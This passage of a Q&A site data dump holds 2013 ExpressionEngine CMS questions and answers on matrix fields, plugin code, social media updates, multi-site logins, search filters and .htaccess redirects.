search:matrix_col_name=&quot;{keywords}&quot;}}{matrix_title}{/matrix_stuff}&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not implemented in 2.7.0 :-(&lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="555" LastEditDate="2013-09-02T11:03:04.230" LastActivityDate="2013-09-09T20:32:39.320" Title="Search results: only display matrix rows that contain the search item" Tags="|matrix|search|" AnswerCount="4" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10884" PostTypeId="2" ParentId="10882" CreationDate="2013-05-31T12:30:01.157" Score="2" Body="&lt;p&gt;Make the sure the matrix field and columns are searchable first. Then you could do something like what I have below, but you're limited to what matrix columns you can search.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results}&#xA;    {my_matrix_field search:matrix_col=&quot;{exp:search:keywords}&quot;}&#xA;        {matrix_title}&#xA;    {/my_matrix_field}&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like Robson mentioned below, you can do either a &quot;contains&quot; matching (above) or an &quot;exact&quot; matching search by adding the &lt;code&gt;=&lt;/code&gt; in front of the &lt;code&gt;{exp:search:keywords}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-05-31T12:52:28.910" LastActivityDate="2013-05-31T12:52:28.910" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="10885" PostTypeId="1" AcceptedAnswerId="10888" CreationDate="2013-05-31T12:31:21.453" Score="0" ViewCount="71" Body="&lt;p&gt;I am new to plugin development, so sorry for this most likely very easy question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a plugin, where can I store variables and queries that will be used accross multiple functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of Private:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function uploadsQuery() {&#xA;&#xA;    $member_id = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;&#xA;    $sql = &quot;&#xA;        SELECT COUNT(t.author_id) AS current_uploads, c.upload_total AS upload_total&#xA;        FROM exp_competition_purchase_upload_total AS c&#xA;        LEFT JOIN exp_channel_titles AS t ON c.member_id = t.author_id AND t.channel_id = '4'&#xA;        WHERE c.member_id = $member_id &#xA;    &quot;;&#xA;&#xA;    $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&#xA;&#xA;}&#xA;&#xA;public function details() {&#xA;&#xA;    return $this-&amp;gt;uploadsQuery();&#xA;&#xA;    $data = $query-&amp;gt;result_array();&#xA;&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables( $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $data );&#xA;&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2013-05-31T14:56:38.323" LastActivityDate="2013-05-31T15:06:44.883" Title="Using code accross multiple functions in a plugin" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10886" PostTypeId="1" AcceptedAnswerId="10892" CreationDate="2013-05-31T12:34:17.740" Score="4" ViewCount="390" Body="&lt;p&gt;EE has been a great tool for my work, however there is one very perplexing problem that I wish I could solve. I'm hoping someone might point me in the right direction. I'm trying to implement a method that will automatically update Twitter &amp;amp; Facebook (+others) when I add a new entry with something like {title} {url}. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to post a lot of photos to my site, so I want to direct people back to my site instead of using something like Twitpic or Instagram. A lot of this will be done from my phone while traveling. And this would be very similar to creating a Twitpic / Instagram type system using EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I had in mind and I'll explain the issues I've encountered.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A DSLR camera photo is sent to my Blackberry phone using Bluetooth and that image is sent via email to EE via Moblog&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Moblog uploads the image and creates a new Entry. All of this works fine so far.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I wanted to use Solspace Shortcut to create a short link, however Moblog only supports text area fields, so this didn't work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To update Twitter &amp;amp; Facebook, regarding the new entry, I can use email (for Twitter I use Tweetymail and Facebook uses their secret email address). I thought about using MX Notify to send an email whenever an entry in the Photo channel is made. The problem is that for Facebook the update needs to be the email subject, the email body is ignored, and MX Notify doesn't support dynamic content in the subject line. It would work brilliantly if it did because then you could just put {title} {shortcut-url} in and it would update Twitter and Facebook every time a post was entered.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I've attempted to get around the Moblog / Solspace Shortcut issue by wrapping the {exp:shortcut:url} around the long EE URL, but the parse order doesn't work so it doesn't send a link.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I also use CE Image to handle the image manipulation and uploading to Amazon S3 / Cloudfront. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've also looked at a number of the social media modules (NSM Twitter, TweetLink and Social Update) and though they say &quot;automatically&quot; that is not the case. They are simply another field that needs text entered and then that is pushed to Twitter. This won't work with Moblog, though there is a possibility that they could (I'm not a programmer, unfortunately).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize the problems, Moblog doesn't support any other fields other than text area and MX Notify doesn't support dynamic content in the subject line and all of the social media add-ons don't do things automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned, the goal is to simply send a picture to EE, have it create the entry and then send off the {title} and {url} to Twitter and Facebook. It seems simple, but I haven't figured out how to do this yet, and I've tried a lot of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2014-05-15T14:53:31.640" Title="Automatic Updates to Social Media" Tags="|ee2|solspace|twitter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10887" PostTypeId="1" CreationDate="2013-05-31T13:35:21.477" Score="0" ViewCount="101" Body="&lt;p&gt;Does anyone know if it is possible to hide the 'Switch sites' links in the CP for certain member groups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2016-11-03T10:34:44.113" Title="Prevent Users from Switching Sites in CP with Multi Site Manager" Tags="|multi-site-manager|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10888" PostTypeId="2" ParentId="10885" CreationDate="2013-05-31T13:36:31.030" Score="4" Body="&lt;p&gt;If they are static variables, you could store them in the construct and refer to them like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function __construct()&#xA;{&#xA;  $this-&amp;gt;var1 = &quot;data&quot;;&#xA;  $this-&amp;gt;var2 = &quot;data&quot;;&#xA;  $this-&amp;gt;query = &quot;select * from table&quot;;&#xA;}&#xA;&#xA;function getVar1()&#xA;{&#xA;  return $this-&amp;gt;var1;&#xA;}&#xA;&#xA;function getVar2()&#xA;{&#xA;  return $this-&amp;gt;var2;&#xA;}&#xA;&#xA;// below has not been tested, but it should give you an idea&#xA;function getResults()&#xA;{&#xA;  //load db lib&#xA;  $q = $this-&amp;gt;query($this-&amp;gt;query);&#xA;&#xA;  if($q-&amp;gt;num_rows() == 0)&#xA;    return false;&#xA;&#xA;  return $q-&amp;gt;result_object();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could have private functions that you refer to in all of your functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function nameQuery()&#xA;{&#xA;  // return data&#xA;}&#xA;&#xA;function getName()&#xA;{ &#xA;  return $this-&amp;gt;nameQuery();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have updated my original post with a revised version of the code you updated your posted with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first return you had in your details function will just return that and ignore the rest of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to return the data retrieved from the uploadsQuery function, so you need to return that data in that function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you want to store that data into your $data variable as seen in the details function, to be passed into the parse_variables function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't say this works for sure, but it'll give you a push in the right direction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function uploadsQuery() {&#xA;&#xA;    $member_id = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;&#xA;    $sql = &quot;&#xA;        SELECT COUNT(t.author_id) AS current_uploads, c.upload_total AS upload_total&#xA;        FROM exp_competition_purchase_upload_total AS c&#xA;        LEFT JOIN exp_channel_titles AS t ON c.member_id = t.author_id AND t.channel_id = '4'&#xA;        WHERE c.member_id = $member_id &#xA;    &quot;;&#xA;&#xA;    $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query($sql);&#xA;&#xA;    if($query-&amp;gt;num_rows() == 0) // no data retrieved from table, return false&#xA;      return false;&#xA;&#xA;    return $query-&amp;gt;result_array(); // return this data, to be used in your other function&#xA;}&#xA;&#xA;public function details() {&#xA;    $data = $this-&amp;gt;uploadsQuery(); // storing the data that was returned from the uploadsQuery function&#xA;&#xA;    if(!$data)&#xA;        return false; // no data to pass into parse_variables below, so just return false&#xA;&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables( $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $data );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2013-05-31T15:06:44.883" LastActivityDate="2013-05-31T15:06:44.883" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10889" PostTypeId="1" CreationDate="2013-05-31T16:29:03.027" Score="0" ViewCount="91" Body="&lt;p&gt;I've got a calendar page with different months (as entries) containing matrix fields.&#xA;The rows contain text, playa, a date field and assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 50 rows, the page takes ten seconds to download. Testing I discovered that removing assets out of the template speeds it up to one second load time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the latest P&amp;amp;T stuff running on 2.5.5 here, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only removing assets field: 0.4 seconds loadtime / 13 Mb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only removing wygwam field: 7.2 seconds loadtime / 13 Mb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only removing playa field: 6 seconds loadtime / 13 Mb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All fields: 7.2 seconds&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The super simple code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;calendar&quot; show_future_entries=&quot;yes&quot;}&#xA;{matrix_field}&#xA;&#xA;{assets_field}&#xA;{assets_field} {!--need it twice, just the url slows it down already--}&#xA;&#xA;{wygwam_field}&#xA;&#xA;{playa_field}&#xA;{title}&#xA;{/playa_field}&#xA;&#xA;{/matrix_field}&#xA;{/exp:channel:entries}      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-05-31T16:29:03.027" Title="Assets seems to bog down Matrix" Tags="|matrix|assets|playa|pixelandtonic|performance|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10890" PostTypeId="2" ParentId="10159" CreationDate="2013-05-31T16:37:16.093" Score="0" Body="&lt;p&gt;It appeared I hadn't updated the index.php file in the root of the site, which handles the redirect. Not something I do with every upgrade, but can apparently mess things up if you don't.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-05-31T16:37:16.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10891" PostTypeId="2" ParentId="10879" CreationDate="2013-05-31T16:54:35.490" Score="1" Body="&lt;p&gt;This isn't a EECMS related problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error &quot;Unknown column 'Array'&quot; occurs because if you append a &quot;[]&quot; to the name of the field its value is gonna be always an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to deal with this variable on you PHP template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just guessing, but maybe this could help you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_POST['notified'] = implode(&quot;,&quot;, $_POST['notified']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you update your question and show the PHP code, we can help you better.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-05-31T16:54:35.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10892" PostTypeId="2" ParentId="10886" CreationDate="2013-05-31T18:02:38.617" Score="4" Body="&lt;p&gt;Did you consider using &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot;&gt;Postmaster&lt;/a&gt; in place of MX Notify? I belive it supports variables in subject.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-05-31T18:02:38.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10893" PostTypeId="1" AcceptedAnswerId="10911" CreationDate="2013-05-31T18:03:55.797" Score="1" ViewCount="115" Body="&lt;p&gt;I have a P&amp;amp;T matrix field with a series of cells: images/title/dimensions/date/price&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I display all the images in a row and if I click on the image I would like to go to a single entry page that shows ONLY that one image with the other cells (title/date etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible or am I better off makeing each row it's own entry?&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-06-01T18:10:11.743" Title="Matrix - link to specific item in row" Tags="|matrix|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10894" PostTypeId="2" ParentId="10893" CreationDate="2013-05-31T18:15:24.187" Score="2" Body="&lt;p&gt;Great question! In my experience, when you need a specific page for content like this, while Matrix is tempting, it is far more efficient (and easier) to create a new channel and/or channel entry.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-05-31T18:15:24.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10895" PostTypeId="1" CreationDate="2013-05-31T19:31:21.543" Score="1" ViewCount="63" Body="&lt;p&gt;I am using Zoo Visitor and when I try and display my members the visitor:member_firstname and visitor:member_lastname have mysterious &amp;lt; p &gt; tags around them.  Based on my code below they should be on a singel line in a h2 tag, but instead they are on 2 lines each wrapped with a paragraph tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:members limit=&quot;99&quot;}&#xA;&amp;lt;div id=&quot;profile&quot; onclick=&quot;location.href='{homepage}';&quot;  style=&quot;cursor:pointer;&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt; {visitor:member_firstname} {visitor:member_lastname}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--END profile --&amp;gt; &#xA;{/exp:zoo_visitor:members}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-05-31T19:38:02.743" LastActivityDate="2013-05-31T19:38:02.743" Title="zoo visitor tags being wrapped in p tags" Tags="|zoo-visitor|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10896" PostTypeId="1" CreationDate="2013-05-31T19:46:13.507" Score="0" ViewCount="625" Body="&lt;p&gt;I want to display an entry's category, but only from a specific category group.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;paintings&quot; limit=&quot;10&quot;}&#xA;{title}&#xA;{categories group_id=&quot;42&quot;}{category_name}{/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I just use: {categories}{category_name}{/categories} I get all categories but I only want categories display if they are in group 42.  If they have nothing in group 42 I want nothing to display&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-06-01T16:51:09.427" Title="display one category group in channel entry" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10897" PostTypeId="2" ParentId="10896" CreationDate="2013-05-31T19:48:48.737" Score="2" Body="&lt;p&gt;{categories show_group=&quot;42&quot;}{category_name}{/categories} &lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-31T19:48:48.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10898" PostTypeId="1" CreationDate="2013-05-31T20:00:45.513" Score="1" ViewCount="232" Body="&lt;p&gt;We have an EE 2.5.5 installation using Freemember 2.2.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the password reset, the email sent is missing the hash/session gobblety goop. Looks like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/home/password_reset&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/home/password_reset&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://domain.com/home/password_reset/sir9vcplhnex&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/home/password_reset/sir9vcplhnex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have several sites with this functioning perfectly, so I'm sort of at a loss. &lt;/p&gt;&#xA;" OwnerUserId="1007" LastActivityDate="2013-06-03T13:57:00.993" Title="Freemember reset password email link missing hash/session" Tags="|freemember|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10899" PostTypeId="1" AcceptedAnswerId="11324" CreationDate="2013-05-31T21:04:44.713" Score="1" ViewCount="135" Body="&lt;p&gt;I've been through the docs, and found this thread (&lt;a href=&quot;http://ellislab.com/forums/viewthread/58566/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/58566/&lt;/a&gt;), which makes it appears as if a user can login to site A, and also login to site B at the same time on an MSM setup. The idea being they login once, and get access to both sites and appear logged into both sites. I need this to happen on the front-end of the site, not the control panel. I followed the thread, and the docs and made the necessary configuration updates, but nothing works. I even added a hook and tried to create the cookie manually for the other domains, but I suppose thats not possible b/c its a potential XSS issue (the sites are all on different domains).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site A, the main site, houses the registration form. If a user is on site B, they are sent to site A, register (and auto logged in), and then return to site B, however, they are not logged into site B at this point, only site A. I need them to be logged into both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose the only course of action is to create some sort of handshaking via ?ACT requests with a token to validate the login, thus each domain would receive an ?ACT request to set the cookie on that domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to approach this? Why do the native config values have no affect?&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-06-18T11:00:33.387" Title="Registering/Logging into multiple sites at a time with MSM" Tags="|multi-site-manager|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10900" PostTypeId="2" ParentId="10887" CreationDate="2013-05-31T21:44:08.933" Score="1" Body="&lt;p&gt;One possible way would be to simply hide the dropdowns in CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li.parent msm_sites ul{display:none}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd also have to do some overrides for the arrow that appears when you click it but that would get you what you needed. I don't &lt;em&gt;believe&lt;/em&gt; there is another way of doing this. But I'd love to be proven wrong!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2013-05-31T21:44:08.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10904" PostTypeId="1" AcceptedAnswerId="10916" CreationDate="2013-06-01T11:12:15.680" Score="0" ViewCount="278" Body="&lt;p&gt;I wondered if there was an example of using statuses as a dropdown? I'm trying to search by a couple of options with not much success. I want to filter by some statuses but never show items in another status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My dropdown currently looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select style=&quot;width:200px;&quot; name=&quot;status[]&quot; &amp;gt;&#xA;    &amp;lt;option value=&quot;Completed&quot;&amp;gt;Completed&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Shortlisted&quot;&amp;gt;Shortlisted&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;Winner&quot;&amp;gt;Winner&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My results tag looks like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;    channel=&quot;applications|bursary_applications&quot;&#xA;    status=&quot;not closed|In progress&quot;&#xA;    query=&quot;{segment_3}&quot;&#xA;    dynamic=&quot;off&quot;&#xA;    limit=&quot;50&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    collection=&quot;applications|bursary_applications&quot;&#xA;    child:bursary_app_competition_rel=&quot;{segment_2}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(when the page is first loaded without search terms I want to make sure 'In progress' is not shown - or I'd settle for a default of 'Completed'!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I also posted this question here: &lt;a href=&quot;https://getsatisfaction.com/low/topics/low_search_status_example&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/low/topics/low_search_status_example&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="889" LastActivityDate="2020-07-21T10:18:38.163" Title="Low search status example" Tags="|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10906" PostTypeId="2" ParentId="10887" CreationDate="2013-06-01T11:34:54.830" Score="0" Body="&lt;p&gt;Not sure it's possible without at best a plugin or at worst altering main EE code (don't do this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand why you might want to remove the option to change sites, however if you are concerned about certain member groups seeing too much in the control panel, you can of course replicate the control panel posting functionality using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html&quot; rel=&quot;nofollow&quot;&gt;Safecracker&lt;/a&gt; where you can totally control the page that the user sees. &lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2013-06-01T11:34:54.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10907" PostTypeId="2" ParentId="9303" CreationDate="2013-06-01T11:43:00.670" Score="1" Body="&lt;p&gt;The answer above didn't work for me - it required a minor amendment - in that the toggle parameter, when it already existed in the url, was appending the new orderby_sort value instead of replacing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed the toggle: prepend so that the parameter was replaced with the new value and it worked perfectly. &lt;/p&gt;&#xA;" OwnerUserId="1586" LastActivityDate="2013-06-01T11:43:00.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10911" PostTypeId="2" ParentId="10893" CreationDate="2013-06-01T18:10:11.743" Score="1" Body="&lt;p&gt;There's an add-on called &lt;a href=&quot;http://devot-ee.com/add-ons/matrix-url-title&quot; rel=&quot;nofollow&quot;&gt;Matrix URL Title&lt;/a&gt;, also from P&amp;amp;T, that would allow you to do something like this.  It would involve some conditionals in your template, as you might expect, but I've done it before.  Worth a look anyway if your user entry flow makes more sense as a matrix rather than a new channel entry per row.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-01T18:10:11.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10912" PostTypeId="2" ParentId="9994" CreationDate="2013-06-01T18:39:45.420" Score="3" Body="&lt;p&gt;The array of embed_vars can be accessed this way on EECMS 2.5.5-:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;embed_vars&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this way on EECMS 2.6+:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;TMPL-&amp;gt;embed_vars&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &quot;embed:var_name&quot; as the array key.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-01T18:39:45.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10915" PostTypeId="1" CreationDate="2013-06-02T04:40:18.307" Score="1" ViewCount="689" Body="&lt;p&gt;From yesterday, I'm trying this 301 url redirect but its not working as expected. Please help me with this. here is the .htaccess file code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymLinks +SymLinksIfOwnerMatch -MultiViews&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^mydomain.com [NC]&#xA;RewriteRule ^(.*)$ http://www.mydomain.com/$1 [L,R=301]&#xA;RewriteBase /&#xA;rewriterule ^(.*)/(.*)\.html$ product.php?id=$1&amp;amp;name=$2 [L]&#xA;rewriterule ^deals/(.*)$ details.php?id=$1 [L]&#xA;rewritecond %{SERVER_PORT} 80&#xA;rewritecond %{REQUEST_URI} publisher.php&#xA;&#xA;Redirect 301 /deals/74/product-name.html http://mydomain.com/74/product-name.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whenever I enter www.mydomain.com/deals/74/product-name.html, It redirects me to &quot;www.mydomain.com/deals/74/product-name.html?id=74&amp;amp;name=product-name&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why its appending &quot;?id=74&amp;amp;name=product-name&quot; after url? I want to display only &quot;www.mydomain.com/deals/74/product-name.html&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to fix this problem. I'll appreciate if you can guide me on this.&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2013-06-02T16:38:21.573" Title="301 Redirect URL Appending Query String" Tags="|php|redirects|apache|rewrite|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10916" PostTypeId="2" ParentId="10904" CreationDate="2013-06-02T10:19:45.087" Score="2" Body="&lt;p&gt;I'll answer here as well as in the GetSat thread for visibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any parameters set in the Results tag will always overwrite the corresponding given parameters from a search query. If you want to default a certain value, you could use simple conditionals to check for an encoded query in the URI and set certain parameters accordingly. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    query=&quot;{segment_3}&quot;&#xA;    {if segment_3 == ''}status=&quot;not closed|In progress&quot;{/if}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition to that, if you want 'All' entries to exclude certain values, just define those in the 'All' option of the drop down. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;status&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;not closed|In progress&quot;&amp;gt;All&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option&amp;gt;Completed&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option&amp;gt;Shortlisted&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option&amp;gt;Winner&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that if you don't add a value-attribute to an option-element, the text inside the option-element will be used as value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note you don't need the multiple value syntax in the name (&lt;code&gt;status[]&lt;/code&gt;), as you're only selecting a single value.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-06-02T10:19:45.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10917" PostTypeId="1" CreationDate="2013-06-02T12:00:17.840" Score="0" ViewCount="72" Body="&lt;p&gt;EE 2.5.2&#xA;Matrix 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you hit the add new row + button in the Matrix field within a safecracker form it opens a new blank page. The new row is added successfully but I can't work out why it is opening a blank page as well. &lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2013-06-03T12:12:08.090" Title="Matrix field within safecracker form : new row opening blank page" Tags="|matrix|safecracker|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
